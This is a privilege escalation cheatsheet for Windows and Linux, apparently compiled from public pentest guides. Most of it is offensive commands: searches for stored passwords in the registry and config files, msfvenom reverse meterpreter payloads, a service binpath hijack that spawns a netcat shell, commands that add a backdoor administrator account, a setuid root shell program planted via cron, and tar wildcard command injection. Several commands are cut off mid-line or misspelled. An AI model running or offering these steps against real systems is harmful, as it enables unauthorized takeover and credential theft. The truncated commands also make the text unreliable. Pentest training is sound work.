Privilege Escalation cheatsheet

☰ Contents

Windows

Kernel Exploits

- systeminfo -> look up missing kb's
- systeminfo | findstr /B /C:"OS Name" /C:"OS * Version"`
- sherlock -> Find-AllVulns powershell
- 0xsp Mongoose

Common Kernel Exploits

- [MS16-014](https://www.exploit-db.com/exploits/40039) - applies to: Windows 7 SP1 x86
- [MS16-016](https://www.exploit-db.com/exploits/39432) - 'WebDAV' applies to Windows 7 SP1 x86 (Build 7601)
- [MS16-032](https://www.exploit-db.com/exploits/39719) - applies to: Windows 7 x86/x64, Windows 8 x86/64, Windows 10, Windows Server 2008-2012 R2
- [CVE-2020-0796]()-applies to : SMBv3 Enabled on Windows Operation Systems
- [MS16-075](a href="https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075">)
- CVE-2019-1388

Config files

```
creds in cleartext or base64 -> once windows in installed
c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
```

```
%WINDIR%\Panther\Unattended.xml
```

GPP(Group Policy Preferences)

Only applicable for devices connected to a domain

```
Groups.xml`stored in SYSVOL -> DC
  encrypted with AES, but key got leaked
 \\dc2018.lab\SYSVOL\dc2008.lab\Policies\{id}\MACHINE\Preferences\Groups`
```

Other Files

```
Services\Services.xml
ScheduldedTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
```

Other Misc Passwords

```
dir /s *pass* == *cred* == *vnc* == *.config*
 findstr /si password *.xml *.ini *.txt
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

```
web.config
php.ini
httpd.conf
access.log
```

powerup:

- Get-WebConfig (ISS > web.config

putty:

- reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions

Tight VNC:

- reg query HKCU\Software\TightVNC\Server
- bncpwd.exe

Always Install Elevated:

- reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstalledElevated
- reg query HKCU\SOFTWARE\Policies\Micorosft\Windows\Installer\AlwaysInstalledElevated
  - both values = 1, created a malicious .msi file with msfvenom for example
  - execute it with `msiexec /quiet /qn /i <filename>`

powerup:

- Get-RegistryAlwaysInstallElevated
- Write-UserAddMSI

Unquoted Services Paths (trusted service paths)

For each space in a file path, windows will attempt to look for and execute programs with a name that matches the word in front of the space.

Example:

- C:\Program Files\Some Folder\Service.exe
- C:\Program.exe
- C:\Program Files\Some.exe
- C:\Program Files\Some Folder\Service.exe

```
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /
```

PFNet

```
* C:\Program Files (x86)\Privacyware\Privatefirewall 7.0\pfscv.exe
* icalcs "C:\Program Files (x86)\Privacyware"
* msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=10.0.0.
```

Start and stop the service:

- sc stop PFNet
- sc start PFNET

Powerup:

- Get-ServiceUnquoted
- Write-ServiceBinary -Name -Path

Insecure Service Permissions

```
whoami > net user <name>` \- enumerate groups
accesschk.exe` -> part of sysinternals
accesschk.exe -ucqv <service>
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
```

Write access to a service as authenticated user?

W-XP ssdprsv and upnphost by default:

```
sc qc upnphost
sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd
net start upnphost
```

Powerup:

- Get-ModifiableService
- Test-ServiceDaclPermission
- Invoke-ServiceAbuse -Name -Command

DLL Hijacking

Requires user interaction / reboot.

DLL search order on 32-bit systems:

```
1. The directory from which the application is loaded
2. 32-bit System directory (C:\Windows\System32)
3. 16-bit System directory (C:\Windows\System)
4. Windows directory (C:\Windows)
5. The current working directory
6. Directories in the PATH environment variable
```

You can use **procmon** to look for vulnerable dll's using the following filters:

- Result is NAME NOT FOUND Include
- Path ends with .dll

```
echo %path%
icacls C:\Python27
accesssschk.exe -dqv "C:\Python27"
sc qc IKEEXT
```

Generate a malicious payload with msfvenom

```
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<ip> lport=<port> -f dll > ev
```

Windows 7 x86/64:

- IKE and AuthIP IPsec Keying Modules (IKEEEXT) - **wlbsctrl.dl**

Powerup:

- `Find-PathDLLHijkack`

- `Find-ProjcessDLLHijkack`
- `Wire-HijkackDll`

Schedulded tasks:

On server 2000, 2003, and XP, scheduled tasks are running as system. Are they calling any **.exe**'s and can you overwrite?

- `accesschk.exe -dqv <folder>`

Can you create a task yourself?

- `net start "Task Scheduler" at <hour> /interactive "path to evil exe"`

Powerup:

- `Get-ModifiableScheduledTaskFile`

Useful commands

```
* `hostname`
* `echo %username%`
* `whoami` / `priv`
* `swinsta` \- other logged in users
* `net users`
* `net user <username>`
* `net localgroup`
* `net localgroup Administrators`
* `net user rottenadmin P@ssword123! /add`
* `net localgroup Administrators rottenadmin /add`
* `ipconfing /all`
* `route print`
* `arp -a`
* `netstat -ano`
* `C:\WINDOWS\System32\drivers\etc\hosts`
* `schtasks /query /fo LIST /v` \- scheduled task
* `tasklist /SVC` \- running processes
* `net start` \- started services
* `cd\ & dir /b /s proof.txt`
```

Linux

- not added -> ld_preload - [URL](http://www.dankalia.com/tutor/01005/0100501004.htm)

Scripts & Tools

- 0xsp Mongoose
- Linux-Enum-Mod
- linux-exploit-suggestor

Kernel Exploits

- Mongoose 0xsp
- uname -a -> searchsploit
- linux-exploit-suggestor

Common Kernel Exploits

```
* `CVE-2010-2959`
* `cve-2020-8835`
* `CVE-2019-7304`
* `CVE - 2019-9213 2018-5333`
```

Services Running as `root`

- ps -aux | grep root
- any shell escape sequences?

SUID Executables

- runs with permissions of the owner
- find / -perm -u=s -type f 2>/dev/null
- any shell escape sequences - do we have write access?

Sudo rights / users

- sudo -l
- what can we execute -> any shell escape sequences

Cron jobs

```
find / -perm -2 -type f 2>/dev/null`
ls -la /etc/cron.d`
```

```
# rootme.c
int main(void)
{
  setgid(0);
  setuid(0);
  execl("/bin/sh", "sh", 0);
}
```

```
gcc rootme.c -o rootme

echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;" > /usr/local/sbin/cron-l
```

Wildcards

- often combined with user interaction / cronjobs
- cfr. Back to the Future: Unix Wildcards Gone Wild paper
- wild cards can be utilized to inject arbitrary command by creating files that are seen as commands

Example:

```
--checkpoint=<number> and --checkpoint-action=<command>
--checkpoint=1 and --checkpoint-actionexec=sh rshell.sh
```

Path Abuse ('.' in path)

Requires user interaction *(eg somebody need to have `.` in their path)*

```
* `$PATH:.:${PATH}`
* `export $PATH`
* `echo $PATH`
* replace executable files with a malicious one
```

Useful commands

```
* `ps aux | grep root`
* `crontab -l`
* `ifconfig -a`
* `cat /etc/resolv.conf`
* `netstat -tulpn`
* `arp -e`
* `route`
* `id`
* `who`
* `cat /etc/passwd | cut -d: -f1` \- list of users
* `cat ~/.ssh`
* `find . -name package.json -print -exec cat {} +`
```

Sources

- https://www.fuzzysecurity.com/tutorials/16.html
- https://toshellandback.com/2015/11/24/ms-priv-esc/
- https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
- https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
- https://payatu.com/guide-linux-privilege-escalation/#
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://github.com/sagishahar/lpeworkshop